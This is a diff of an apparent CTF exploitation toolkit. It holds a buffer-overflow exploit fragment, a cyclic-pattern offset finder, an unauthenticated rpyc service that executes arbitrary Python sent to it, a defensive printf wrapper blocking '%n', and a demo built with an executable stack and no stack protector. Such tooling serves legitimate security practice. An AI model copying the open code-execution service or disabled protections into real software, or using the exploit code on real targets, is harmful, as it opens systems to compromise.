+	#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
+	#return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
+	return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048824, str1_pos, 0x08048DEB, 0x32, False, b'', b'')
+
+def exploit2_qs(t_s, v):
+	str1_pos = 0x08049701
+	null1_pos = 0x08049734
+	#t_s_buf_pos_bin = struct.pack('<L', t_s_buf_pos)
+	return overflow_qs(t_s, v, str1_pos, null1_pos, 0x08048E46, str1_pos, 0x08048DEB, 0x32, False, b'', b'')

cloud/README

@@ -0,0 +1,4 @@
+step 1. run `python registry_server.py -m tcp`
+step 2. run `python server.py`
+step 3. ???
+step 4. profit!

cloud/client.py

@@ -0,0 +1,12 @@
+from pwn import *
+import rpyc
+from rpyc.utils.registry import TCPRegistryClient
+import socket
+
+def cloud(code):
+    hostname = socket.gethostbyname(socket.gethostname())
+    hostinfo, _ = rpyc.discover('CLOUD', registrar = TCPRegistryClient(hostname))
+    ip, port = hostinfo
+    c = rpyc.connect(ip, port)
+    return c.root.doit(code)
+

cloud/registry_server.py

@@ -0,0 +1,51 @@
+#!/usr/bin/env python
+"""
+The registry server listens to broadcasts on UDP port 18812, answering to
+discovery queries by clients and registering keepalives from all running
+servers. In order for clients to use discovery, a registry service must
+be running somewhere on their local network.
+"""
+from optparse import OptionParser
+from rpyc.utils.registry import REGISTRY_PORT, DEFAULT_PRUNING_TIMEOUT
+from rpyc.utils.registry import UDPRegistryServer, TCPRegistryServer
+from rpyc.lib import setup_logger
+import logging
+
+parser = OptionParser()
+parser.add_option("-m", "--mode", action="store", dest="mode", metavar="MODE",
+    default="udp", type="string", help="mode can be 'udp' or 'tcp'")
+parser.add_option("-p", "--port", action="store", dest="port", type="int",
+    metavar="PORT", default=REGISTRY_PORT, help="specify a different UDP/TCP listener port")
+parser.add_option("-f", "--file", action="store", dest="logfile", type="str",
+    metavar="FILE", default=None, help="specify the log file to use; the default is stderr")
+parser.add_option("-q", "--quiet", action="store_true", dest="quiet",
+    default=False, help="quiet mode (only errors are logged)")
+parser.add_option("-t", "--timeout", action="store", dest="pruning_timeout",
+    type="int", default=DEFAULT_PRUNING_TIMEOUT, help="sets a custom pruning timeout")
+
+def main():
+    logging.basicConfig(level=logging.INFO)
+    log = logging.getLogger('CloudServer')
+
+    options, args = parser.parse_args()
+    if args:
+        raise ValueError("does not take positional arguments: %r" % (args,))
+
+    if options.port < 1 or options.port > 65535:
+        raise ValueError("invalid TCP/UDP port %r" % (options.port,))
+
+    if options.mode.lower() == "udp":
+        server = UDPRegistryServer(port = options.port,
+            pruning_timeout = options.pruning_timeout, logger = log)
+    elif options.mode.lower() == "tcp":
+        server = TCPRegistryServer(port = options.port,
+            pruning_timeout = options.pruning_timeout, logger = log)
+    else:
+        raise ValueError("invalid mode %r" % (options.mode,))
+
+    setup_logger(options)
+    server.start()
+
+
+if __name__ == "__main__":
+    main()

cloud/server.py

@@ -0,0 +1,34 @@
+#!/usr/bin/env python
+
+import rpyc
+from rpyc.utils.registry import TCPRegistryClient
+
+class CloudService(rpyc.Service):
+    def on_connect(self):
+        print "Incoming connection"
+        pass
+
+    def on_disconnect(self):
+        print "Closing connection"
+        pass
+
+    def exposed_doit(self, code):
+        '''Execute arbitrary python code, given as a string, and returns the namespace in which it was executed.
+'''
+        cloud = {}
+        try:
+            exec(code) in cloud
+        except:
+            pass
+        return cloud
+
+
+if __name__ == "__main__":
+    from rpyc.utils.server import ThreadedServer
+    import logging
+    import socket
+    logging.basicConfig(level=logging.INFO)
+    log = logging.getLogger('CloudServer')
+    hostname = socket.gethostbyname(socket.gethostname())
+    t = ThreadedServer(CloudService, hostname=hostname, port = 31337, registrar = TCPRegistryClient(hostname), logger = log)
+    t.start()

crop/Makefile

@@ -0,0 +1,4 @@
+.PHONY: all
+all:
+	premlton src/crop.mlb
+	mv src/crop bin/crop

crop/src/Log.sig

@@ -0,0 +1,16 @@
+signature Log =
+sig
+  datatype level = Debug
+                 | Verbose
+                 | Chatty
+                 | Normal
+                 | Quiet
+  val setLevel : level -> unit
+  val setIndentation : int -> unit
+  val indent : int -> unit
+  val debug : string -> unit
+  val verbose : string -> unit
+  val chatty : string -> unit
+  val normal : string -> unit
+  val warning : string -> unit
+end

crop/src/Log.sml

@@ -0,0 +1,49 @@
+structure Log :> Log =
+struct
+datatype level = Debug
+               | Verbose
+               | Chatty
+               | Normal
+               | Quiet
+
+val level = ref Normal
+val ind = ref 0
+
+fun setLevel l = level := l
+
+fun setIndentation n = ind := n
+
+fun indent n = ind := (!ind + n)
+
+fun print s = if !ind > 0
+              then println (String.spaces (!ind) ^ s)
+              else println s
+
+fun debug s =
+    if !level = Debug
+    then print s
+    else ()
+
+fun verbose s =
+    if !level = Verbose
+    then print s
+    else debug s
+
+fun chatty s =
+    if !level = Chatty
+    then print s
+    else verbose s
+
+fun normal s =
+    if !level <> Quiet
+    then print s
+    else ()
+
+fun warning s =
+    (TextIO.output (TextIO.stdErr,
+                    if !level = Quiet
+                    then s ^ "\n"
+                    else String.spaces (!ind) ^ s ^ "\n"
+                   )
+   ; TextIO.flushOut TextIO.stdErr)
+end

crop/src/crop.mlb

@@ -0,0 +1,10 @@
+local
+$(SML_LIB)/basis/basis.mlb
+../mylib/MyLib.mlb
+in
+Log.sig
+Log.sml
+
+%pre main.sml
+%pre go.sml
+end

crop/src/go.sml

@@ -0,0 +1,146 @@
+val version = "0.0.1"
+
+fun usage name =
+    map println
+        ["usage: % rect [rect ...] [options]" <- name
+       , ""
+       , "Rect:"
+       , "  <line skip>,<line count>,<char skip>,<char count>"
+       , "Options:"
+       , "  -w<n>, --window <n>"
+       , "    Repeat for every n lines"
+       , "  -n, --no-linefeed"
+       , "  -o <file>"
+        ]
+
+fun printVersionAndExt () = (println ("crop version " ^ version)
+                           ; OS.Process.exit OS.Process.success)
+fun printUsageAndExit () = (usage $ CommandLine.name ()
+                          ; OS.Process.exit OS.Process.success)
+fun die e = (Log.warning e ; OS.Process.exit OS.Process.failure)
+
+local
+  val window = ref NONE
+  val rects = ref nil
+  val nlf = ref false
+  val src = ref NONE
+  val dst = ref NONE
+  fun setWindow x = window := SOME x
+  fun setNLF x = nlf := true
+  fun addRect r = rects := r :: !rects
+  fun setSrc x = case !src of
+                   SOME s => raise Fail ("Only one source file allowed \
+                                         \(you already told me '" ^ s ^ "')")
+                 | NONE => src := SOME x
+  fun setDst x = dst := SOME x
+  fun getOpt () =
+      let
+        val src = case !src of
+                    SOME f => TextIO.openIn f
+                  | NONE   => TextIO.stdIn
+        val dst = case !dst of
+                    SOME f => TextIO.openOut f
+                  | NONE   => TextIO.stdOut
+      in
+        (!window, !rects, !nlf, src, dst)
+      end
+      handle IO.Io {cause = OS.SysErr (desc, _), name, ...} =>
+             raise Fail (desc ^ ": '" ^ name ^ "'")
+in
+
+fun parseArgs args =
+    let open Parser val op >>= = op -->
+      open (oneOf) Text
+      open (comma, dash) Symb
+      infix 0 |||
+      infix 1 --- |-- --| ^^^ ::: @@@
+      infix 2 >>> >>= ??? produce underlies
+
+      fun unknownOpt k v =
+          raise Fail ("Unknown option (%): %" <- k <- v)
+      val args =
+          List.concatMap
+            (fn arg =>
+                case explode arg of
+                  #"-" :: c :: cs =>
+                  if Char.isAlpha c andalso not $ null cs
+                  then [String.substring (arg, 0, 2)
+                      , String.extract (arg, 2, NONE)]
+                  else [arg]
+                | _ => [arg])
+            args
+
+      val window =
+          do tok <- any
+           ; return
+               (case Int.fromString tok of
+                  SOME n => setWindow n
+                | NONE   => unknownOpt "--window" tok
+               )
+          end
+
+      val num = many1 $ oneOf "0123456789-" >>> implode
+      val coord = num >>> (0 \> Option.getOpt o Int.fromString)
+                      ||| dash produce 0
+
+      val rect =
+          do y <- coord
+           ; comma
+           ; b <- coord
+           ; comma
+           ; x <- coord
+           ; comma
+           ; a <- coord
+           ; return ((y, b), (x, a))
+          end
+
+      fun help ? = (return $ printUsageAndExit ()) ?
+
+      val one =
+          do tok <- any
+           ; case tok of
+               "--window"     => window
+             | "-w"           => window
+             | "-no-linefeed" => return $ setNLF ()
+             | "-n"           => return $ setNLF ()
+             | "-o"           => any >>> setDst
+             | "--help"       => help
+             | "-h"           => help
+             | "-?"           => help
+             | "--version"    => return $ printVersionAndExt ()
+             | _              => return
+               (case Parse.string rect tok of
+                  Right r => addRect r
+                | Left _  => setSrc tok
+               )
+          end
+      val parse =
+          do many' one
+           ; eof
+          end
+    in
+      case Parse.list parse args of
+        Right _ => getOpt ()
+      | Left ({token = SOME x, ...} :: _) =>
+        raise Fail ("Could not parse command line arguments\
+                    \ (failed on '" ^ x ^ "')")
+      | Left _ =>
+        raise Fail ("Could not parse command line arguments")
+    end
+end
+
+fun verify (args as (window, rects, _, _, _)) =
+    ((if null rects
+      then raise Fail "No rects given"
+      else ())
+   ; Option.map (fn n => if n <= 0
+                         then raise Fail "Window must be strictly positive"
+                         else ()) window
+   ; args
+    )
+
+fun go () =
+    main $ verify $ parseArgs $ CommandLine.arguments ()
+    handle Fail s => die s
+
+val _ = go ()

crop/src/main.sml

@@ -0,0 +1,61 @@
+fun main (window, rects, nlf, src, dst) =
+    let
+      (* val lines = String.fields (#"\n" \< op=) $ TextIO.inputAll src *)
+      val lines =
+          let
+            fun loop () =
+                case TextIO.inputLine src of
+                  SOME line =>
+                  String.substring (line, 0, size line - 1) :: loop ()
+                | NONE => nil
+          in
+            loop ()
+          end
+
+      val numLines = length lines
+      val window = getOpt (window, numLines)
+
+      fun correct e (x, a) =
+          (* x absolute, a relative *)
+          if x >= 0 andalso a > 0
+          then (x, x + a)
+          (* x relative, a absolute *)
+          else if x < 0 andalso a <= 0
+          then (e + a + x, e + a)
+          (* both absolute *)
+          else if x >= 0 andalso a <= 0
+          then (x, e + a)
+          (* both relative -- an error *)
+          else raise Fail ("Both indexes relative: " ^
+                           Show.pair Show.int Show.int (x, a))
+
+      val rects =
+          map (Pair.mapFst $ correct window) rects
+
+      fun line (n, l) =
+          let
+            val len = size l
+            val (min, max) =
+                foldl (fn ((b, e), (min, max)) =>
+                                   (Int.min (b, min), Int.max (e, max))
+                      ) (len, ~1) $
+                map (fn (_, x) => correct len x) $
+                List.filter (fn ((y, b), _) =>
+                                let
+                                  val offset = n mod window
+                                in
+                                  offset >= y andalso offset < b
+                                end
+                            ) rects
+            val max = Int.min (max, len)
+          in
+            TextIO.output (dst, String.substring (l, min, max - min))
+          ; if not nlf
+            then TextIO.output (dst, "\n")
+            else ()
+          end
+          handle Subscript => ()
+
+    in
+      app line $ ListPair.zip (List.tabulate (numLines, id), lines)
+    end

cyclic/cyclic

@@ -0,0 +1,48 @@
+#!/usr/bin/env python
+import pwn, sys, argparse, string
+from pwn import de_bruijn, de_bruijn_find
+
+if __name__ == "__main__":
+    p = argparse.ArgumentParser(description="Cyclic pattern creator/finder")
+    p.add_argument('-a', '--alphabet',
+                   metavar = '<alphabet>',
+                   default = string.ascii_lowercase,
+                   help = 'The alphabet to use in the cyclic pattern',
+                   )
+    p.add_argument('-l', '--large-alphabet',
+                   action = 'store_true',
+                   help = 'Use a large alphabet (digits, letters, punctuation)',
+                   )
+    p.add_argument('-o', '--offset',
+                   action = 'store_true',
+                   help = 'Find offset of substring in cyclic pattern (given as hex (0x...), integer or string)',
+                   )
+    p.add_argument('patsize',
+                   metavar = '<pattern|size>',
+                   help = 'Depending on the -o flag, 1) the desired size of the created pattern, or 2) the subpattern to find the offset of',
+                   )
+
+    args = p.parse_args()
+
+    if args.large_alphabet:
+        alph = string.digits + string.ascii_letters + string.punctuation
+    else:
+        alph = args.alphabet
+
+    if args.offset:
+        pat = args.patsize
+        if pat.startswith('0x'):
+            pat = pwn.p32(int(pat[2:], 16) & 0xffffffff)
+        elif pat.isdigit():
+            pat = pwn.p32(int(pat, 10) & 0xffffffff)
+        else:
+            pat = pat[:4]
+        if len(pat) < 4:
+            pwn.die('Subpattern must be 4 bytes')
+        offset = de_bruijn_find(pat, alph)
+        if offset == -1:
+            pwn.log.fail('Given pattern does not exist in cyclic pattern')
+        else:
+            print offset
+    else:
+        print de_bruijn(int(args.patsize))

defence/ld-wrapper/.gitignore

@@ -0,0 +1,3 @@
+*.o
+*.so
+test

defence/ld-wrapper/Makefile

@@ -0,0 +1,34 @@
+TARGETS=liboverride-32.so liboverride-64.so
+CSRCS=$(shell find . -maxdepth 1 -name "*.c")
+LIBS32=$(patsubst %.c,%.32.o,$(CSRCS)) ld-override.32.o
+LIBS64=$(patsubst %.c,%.64.o,$(CSRCS)) ld-override.64.o
+CFLAGS=-shared -Wall -Werror -fno-builtin -fPIC
+DEPFILE=.depend
+CC=gcc
+LDFLAGS=-ldl
+CTAGS=ctags -lc++
+
+all: $(TARGETS)
+
+clean:
+	rm -f $(TARGETS) $(LIBS32) $(LIBS64)
+
+liboverride-32.so: $(LIBS32)
+	$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS) -m32
+
+liboverride-64.so: $(LIBS64)
+	$(CC) $(CFLAGS) -shared -o $@ $^ $(LDFLAGS)
+
+%.32.o: %.32.asm
+	nasm -felf32 -o $@ $<
+
+%.64.o: %.64.asm
+	nasm -felf64 -o $@ $<
+
+%.32.o: %.c
+	$(CC) -c $(CFLAGS) -o $@ $< -m32
+
+%.64.o: %.c
+	$(CC) -c $(CFLAGS) -o $@ $<
+
+.PHONY: all clean

defence/ld-wrapper/ld-helper.c

@@ -0,0 +1,26 @@
+#define _GNU_SOURCE
+#include <dlfcn.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include "ld-override.h"
+
+void lookup_function(struct _override *function) {
+    char *msg;
+
+    if(function->function_addr != NULL) return;
+
+    function->function_addr = dlsym(RTLD_NEXT, function->function_name);
+
+    if ((msg = dlerror()) != NULL) {
+        fprintf(stderr, "dlsym failed for symbol %s: %s\n", function->function_name, msg);
+        fflush(stderr);
+        exit(1);
+    }
+}
+
+/*
+void wrapper() {}
+void skip_real(uintptr_t n) {}
+*/
+
+void consistency_check(struct _save_state *state) {}

defence/ld-wrapper/ld-override.32.asm

@@ -0,0 +1,109 @@
+[bits 32]
+section .text
+global wrapper
+global skip_real
+extern consistency_check
+extern lookup_function
+extern thread_stack
+extern rand
+
+struc STATE
+    .EBX: resd 1
+    .EBP: resd 1
+    .EDI: resd 1
+    .ESI: resd 1
+    .ESP: resd 1
+    .FUNCTION: resd 1
+    .EIP: resd 1
+endstruc
+
+struc FUNCTION
+    .REAL: resd 1
+    .WRAPPER: resd 1
+    .NAME: resd 1
+endstruc
+
+wrapper:
+    ; Fill in the missing pieces to make a valid _save_state
+    push esp
+    add dword [esp], 4
+    push esi
+    push edi
+    push ebp
+    push ebx
+
+    ; Call consistency_check with a pointer to the _save_state
+    push esp
+    call consistency_check
+    add esp, 4
+
+    ; Make sure the function pointer is valid
+    push dword [esp+STATE.FUNCTION]
+    call lookup_function
+    add esp, 4
+
+    ; Save state on  thread_stack
+    ; Results in everything but the arguments themselves being popped
+    call thread_stack
+    add dword [eax], STATE_size
+
+    mov eax, [eax]
+    xor ecx, ecx
+
+.loop:
+    pop edx
+    mov [eax-STATE_size+ecx], edx
+    add ecx, 4
+    cmp ecx, STATE_size
+    jl .loop
+
+
+    ; Call the wrapper function
+    mov edx, [eax-STATE_size+STATE.FUNCTION]
+    mov edx, [edx+FUNCTION.WRAPPER]
+    call edx
+
+    ; Call the real function
+    call thread_stack
+    mov eax, [eax]
+    mov edx, [eax-STATE_size+STATE.FUNCTION]
+    mov edx, [edx+FUNCTION.REAL]
+    call edx
+
+    ; Make the return value be an argument to skip_real
+    push eax
+    push eax
+
+skip_real:
+    ; Find the thread_stack
+    call thread_stack
+    mov ecx, [eax]
+
+    ; Get the value to return when done from the stack
+    pop edx
+    pop edx
+
+    ; Restore callee-saved values
+    mov ebx, [ecx-STATE_size+STATE.EBX]
+    mov ebp, [ecx-STATE_size+STATE.EBP]
+    mov edi, [ecx-STATE_size+STATE.EDI]
+    mov esi, [ecx-STATE_size+STATE.ESI]
+    mov esp, [ecx-STATE_size+STATE.ESP]
+    mov ecx, [ecx-STATE_size+STATE.EIP]
+    mov [esp], ecx
+
+    ; Clean up the thread_stack
+    sub dword [eax], STATE_size
+
+    ; Push the return value to the local stack
+    push edx
+
+    ; Put garbage on ecx and edx
+    call rand
+    mov ecx, eax
+    call rand
+    mov edx, eax
+
+    ; Return
+    pop eax
+    ret

defence/ld-wrapper/ld-override.64.asm

@@ -0,0 +1,168 @@
+[bits 64]
+section .text
+global wrapper
+global skip_real
+extern consistency_check
+extern lookup_function
+extern thread_stack
+extern rand
+
+struc STATE
+    .RAX: resq 1
+    .RBX: resq 1
+    .RCX: resq 1
+    .RDX: resq 1
+    .RBP: resq 1
+    .RDI: resq 1
+    .RSI: resq 1
+    .R8:  resq 1
+    .R9:  resq 1
+    .R10: resq 1
+    .R12: resq 1
+    .R13: resq 1
+    .R14: resq 1
+    .R15: resq 1
+    .RSP: resq 1
+    .FUNCTION: resq 1
+    .RIP: resq 1
+endstruc
+
+struc FUNCTION
+    .REAL: resq 1
+    .WRAPPER: resq 1
+    .NAME: resq 1
+endstruc
+
+wrapper:
+    ; Fill in the missing pieces to make a valid _save_state
+    push rsp
+    add qword [rsp], 8
+    push r15
+    push r14
+    push r13
+    push r12
+    push r10
+    push r9
+    push r8
+    push rsi
+    push rdi
+    push rbp
+    push rdx
+    push rcx
+    push rbx
+    push rax
+
+    ; Call consistency_check with a pointer to the _save_state
+    mov rdi, rsp
+    mov qword r11, consistency_check
+    call r11
+
+    ; Make sure the function pointer is valid
+    mov rdi, [rsp+STATE.FUNCTION]
+    mov qword r11, lookup_function
+    call r11
+
+    ; Save state on  thread_stack
+    ; Results in everything but the arguments themselves being popped
+    mov qword r11, thread_stack
+    call r11
+    add qword [rax], STATE_size
+
+    mov r11, [rax]
+    xor rcx, rcx
+
+.loop:
+    pop rdx
+    mov [r11-STATE_size+rcx], rdx
+    add rcx, 8
+    cmp rcx, STATE_size
+    jl .loop
+
+
+    ; Call the wrapper function
+    mov rax, [r11-STATE_size+STATE.RAX]
+    mov rcx, [r11-STATE_size+STATE.RCX]
+    mov rdx, [r11-STATE_size+STATE.RDX]
+    mov rdi, [r11-STATE_size+STATE.RDI]
+    mov rsi, [r11-STATE_size+STATE.RSI]
+    mov r8,  [r11-STATE_size+STATE.R8]
+    mov r9,  [r11-STATE_size+STATE.R9]
+    mov r10, [r11-STATE_size+STATE.R10]
+    mov r11, [r11-STATE_size+STATE.FUNCTION]
+    mov r11, [r11+FUNCTION.WRAPPER]
+    call r11
+
+    ; Call the real function
+    mov qword r11, thread_stack
+    call r11
+    mov r11, [rax]
+    mov rax, [r11-STATE_size+STATE.RAX]
+    mov rcx, [r11-STATE_size+STATE.RCX]
+    mov rdx, [r11-STATE_size+STATE.RDX]
+    mov rdi, [r11-STATE_size+STATE.RDI]
+    mov rsi, [r11-STATE_size+STATE.RSI]
+    mov r8,  [r11-STATE_size+STATE.R8]
+    mov r9,  [r11-STATE_size+STATE.R9]
+    mov r10, [r11-STATE_size+STATE.R10]
+    mov r11, [r11-STATE_size+STATE.FUNCTION]
+    mov r11, [r11+FUNCTION.REAL]
+    call r11
+
+    ; Make the return value be an argument to skip_real
+    mov rdi, rax
+
+skip_real:
+    push rdi
+    ; Find the thread_stack
+    mov qword r11, thread_stack
+    call r11
+    mov r11, [rax]
+
+    ; Get the value to return when done from the stack
+    pop rdx
+
+    ; Restore callee-saved values
+    mov rbx, [r11-STATE_size+STATE.RBX]
+    mov rbp, [r11-STATE_size+STATE.RBP]
+    mov r12, [r11-STATE_size+STATE.R12]
+    mov r13, [r11-STATE_size+STATE.R13]
+    mov r14, [r11-STATE_size+STATE.R14]
+    mov r15, [r11-STATE_size+STATE.R15]
+    mov rsp, [r11-STATE_size+STATE.RSP]
+    mov r11, [r11-STATE_size+STATE.RIP]
+    mov [rsp], r11
+
+    ; Clean up the thread_stack
+    sub qword [rax], STATE_size
+
+    ; Push the return value to the local stack
+    push rdx
+
+    ; Get a lot of garbage and put it on the stack
+    xor rcx, rcx
+    mov ecx, (2*8)
+
+.loop2:
+    push rcx
+    mov qword rax, rand
+    call rax
+    pop rcx
+
+    shl rax, 32
+    push rax
+    add rsp, 4
+
+    loop .loop2
+
+    pop rcx
+    pop rdx
+    pop rsi
+    pop rdi
+    pop r8
+    pop r9
+    pop r10
+    pop r11
+
+    ; Return
+    pop rax
+    ret

defence/ld-wrapper/ld-override.h

@@ -0,0 +1,61 @@
+#ifndef __LD_OVERRIDE
+#define __LD_OVERRIDE
+
+#include <stdint.h>
+#include <stdlib.h>
+
+struct _override {
+    void* function_addr;
+    void* wrapper_addr;
+    char *function_name;
+};
+
+
+#define constructor __attribute__((constructor))
+
+
+#ifdef __i386__
+#define WRAP(FUNCTION) \
+    struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
+    extern void FUNCTION (); \
+    __asm(".text\r\n" \
+          ".globl " #FUNCTION "\r\n" \
+          ".type  " #FUNCTION ", @function\r\n" \
+          #FUNCTION ":\r\n" \
+            "push $_" #FUNCTION "_override\r\n" \
+            "jmp wrapper" \
+    )
+
+#else
+#define WRAP(FUNCTION) \
+    struct _override _##FUNCTION##_override = { NULL, (void*) FUNCTION##_wrapper, #FUNCTION }; \
+    extern void FUNCTION (); \
+    __asm(".text\r\n" \
+          ".globl " #FUNCTION "\r\n" \
+          ".type  " #FUNCTION ", @function\r\n" \
+          #FUNCTION ":\r\n" \
+            "movabs $_" #FUNCTION "_override, %r11\r\n" \
+            "push %r11\r\n" \
+            "movabs $wrapper, %r11\r\n" \
+            "jmp *%r11\r\n" \
+    )
+#endif
+
+struct _save_state {
+#ifdef __i386__
+    uintptr_t ebx, ebp, edi, esi, esp;
+    struct _override *function_override;
+    uintptr_t eip;
+#else
+    uintptr_t rax, rbx, rcx, rdx, rbp, rdi, rsi, r8, r9, r10, r12, r13, r14, r15, rsp;
+    struct _override *function_override;
+    uintptr_t rip;
+#endif
+};
+
+void wrapper();
+void skip_real(uintptr_t retval);
+void lookup_function(struct _override *function);
+void consistency_check(struct _save_state *state);
+
+#endif

defence/ld-wrapper/printf.c

@@ -0,0 +1,263 @@
+#include "ld-override.h"
+#include <stdlib.h>
+
+
+void puts(char *);
+char *parse_format(char *);
+wchar_t *parse_format_wide(wchar_t *);
+
+
+void check_format_string(char *s) {
+    char *i = s;
+    while (*i != '\0') {
+        if (*i != '%') {
+            i++;
+            continue;
+        }
+        else {
+            i++;
+//            puts("printf: parsing format string");
+            i = parse_format(i);
+        }
+    }
+}
+
+char *parse_format(char *i) {
+    // Flags
+    while(*i == '#' ||
+          *i == '0' ||
+          *i == '-' ||
+          *i == ' ' ||
+          *i == '+' ||
+          *i == 'I' ||
+          *i == '\'') {
+//        puts("printf: parsing flags");
+        i++;
+    }
+
+    // Field width
+    while(*i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing field width");
+        i++;
+    }
+
+    // Precision modifier
+    while(*i == '.' ||
+          *i == '*' ||
+          *i == '$' ||
+          *i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing precision modifier");
+        i++;
+    }
+
+    // Length modifier
+    while(*i == 'h' ||
+          *i == 'l' ||
+          *i == 'L' ||
+          *i == 'q' ||
+          *i == 'j' ||
+          *i == 'z' ||
+          *i == 't') {
+//        puts("printf: parsing length modifier");
+        i++;
+    }
+
+    if(*i == 'n') {
+        puts("NU DØR BABY!");
+        exit(1337);
+    }
+    i++;
+
+    return i;
+}
+
+void check_format_string_wide(wchar_t *s) {
+    wchar_t *i = s;
+    while (*i != '\0') {
+        if (*i != '%') {
+            i++;
+            continue;
+        }
+        else {
+            i++;
+//            puts("printf: parsing format string");
+            i = parse_format_wide(i);
+        }
+    }
+}
+
+wchar_t *parse_format_wide(wchar_t *i) {
+    // Flags
+    while(*i == '#' ||
+          *i == '0' ||
+          *i == '-' ||
+          *i == ' ' ||
+          *i == '+' ||
+          *i == 'I' ||
+          *i == '\'') {
+//        puts("printf: parsing flags");
+        i++;
+    }
+
+    // Field width
+    while(*i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing field width");
+        i++;
+    }
+
+    // Precision modifier
+    while(*i == '.' ||
+          *i == '*' ||
+          *i == '$' ||
+          *i == '0' ||
+          *i == '1' ||
+          *i == '2' ||
+          *i == '3' ||
+          *i == '4' ||
+          *i == '5' ||
+          *i == '6' ||
+          *i == '7' ||
+          *i == '8' ||
+          *i == '9') {
+//        puts("printf: parsing precision modifier");
+        i++;
+    }
+
+    // Length modifier
+    while(*i == 'h' ||
+          *i == 'l' ||
+          *i == 'L' ||
+          *i == 'q' ||
+          *i == 'j' ||
+          *i == 'z' ||
+          *i == 't') {
+//        puts("printf: parsing length modifier");
+        i++;
+    }
+
+    if(*i == 'n') {
+        puts("NU DØR BABY!");
+        exit(1337);
+    }
+    i++;
+
+    return i;
+}
+
+void printf_wrapper(char *s) {
+    check_format_string(s);
+}
+
+void dprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void asprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vasprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vdprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void fprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void sprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void snprintf_wrapper(int ignore, int ignore2, char *s) {
+    check_format_string(s);
+}
+
+void vprintf_wrapper(char *s) {
+    check_format_string(s);
+}
+
+void vfprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vsprintf_wrapper(int ignore, char *s) {
+    check_format_string(s);
+}
+
+void vsnprintf_wrapper(int ignore, int ignore2, char *s) {
+    check_format_string(s);
+}
+
+
+// Wide chars
+void wprintf_wrapper(wchar_t *s) {
+    check_format_string_wide(s);
+}
+void fwprintf_wrapper(int ignore, wchar_t *s) {
+    check_format_string_wide(s);
+}
+void swprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
+    check_format_string_wide(s);
+}
+void vwprintf_wrapper(wchar_t *s) {
+    check_format_string_wide(s);
+}
+
+void vfwprintf_wrapper(int ignore, wchar_t *s) {
+    check_format_string_wide(s);
+}
+
+void vswprintf_wrapper(int ignore, int ignore2, wchar_t *s) {
+    check_format_string_wide(s);
+}
+WRAP(printf);
+WRAP(asprintf);
+WRAP(vasprintf);
+WRAP(dprintf);
+WRAP(vdprintf);
+WRAP(fprintf);
+WRAP(sprintf);
+WRAP(snprintf);
+WRAP(vprintf);
+WRAP(vfprintf);
+WRAP(vsprintf);
+WRAP(vsnprintf);
+
+// Wide
+WRAP(wprintf);
+WRAP(fwprintf);
+WRAP(swprintf);
+WRAP(vwprintf);
+WRAP(vfwprintf);
+WRAP(vswprintf);

defence/ld-wrapper/srand.c

@@ -0,0 +1,23 @@
+#include <stdlib.h>
+#include <unistd.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include "ld-override.h"
+
+void srand_wrapper(int seed);
+
+WRAP(srand);
+
+void constructor fix_srand () {
+    int fd = open("/dev/urandom",O_RDONLY);
+    int seed;
+    read(fd, &seed, sizeof(seed));
+
+    lookup_function(&_srand_override);
+    ((void (*)()) _srand_override.function_addr) (seed);
+}
+
+void srand_wrapper(int seed) {
+    skip_real(0);
+}

defence/ld-wrapper/thread-stack.c

@@ -0,0 +1,15 @@
+#include <sys/mman.h>
+#include <stdlib.h>
+#include "thread-stack.h"
+
+static __thread void* local_thread_stack = NULL;
+
+void** thread_stack() {
+    if(local_thread_stack == NULL) {
+        local_thread_stack = mmap(NULL, 8192, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+    }
+
+    return &local_thread_stack;
+}
+
+

defence/ld-wrapper/thread-stack.h

@@ -0,0 +1,6 @@
+#ifndef __THREAD_STACK
+#define __THREAD_STACK
+
+void** thread_stack();
+
+#endif

defence/monitor/hosts

@@ -0,0 +1 @@
+192.168.25.1

defence/monitor/services

@@ -0,0 +1 @@
+/home/kris/git/pwntools/defence/monitor/test/echoserv

defence/monitor/wish_list.txt

@@ -0,0 +1,8 @@
+Monitor services (autorestart when down)
+Script to move services (for obfuscation)
+Monitor enemy hosts
+Monitor (suspicious) network activity
+Monitor (suspicious) file activity
+Statistics (uptime, traffic etc)
+Monitor shells running on the system
+

demo/Makefile

@@ -0,0 +1,4 @@
+.PHONY: all
+all:
+	gcc -z execstack -fno-stack-protector demo.c -o demo64 -m64
+	gcc -z execstack -fno-stack-protector demo.c -o demo32 -m32

demo/demo.c

@@ -0,0 +1,73 @@
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/mman.h>
+#include <stdlib.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(int argc, char **argv) {
+  char *stack_space[0x1000];
+  int fd;
+  struct stat sbuf;
+  void (*shellcode)(void);
+  int i, z, c, bufsize, numb;
+  unsigned char *p;
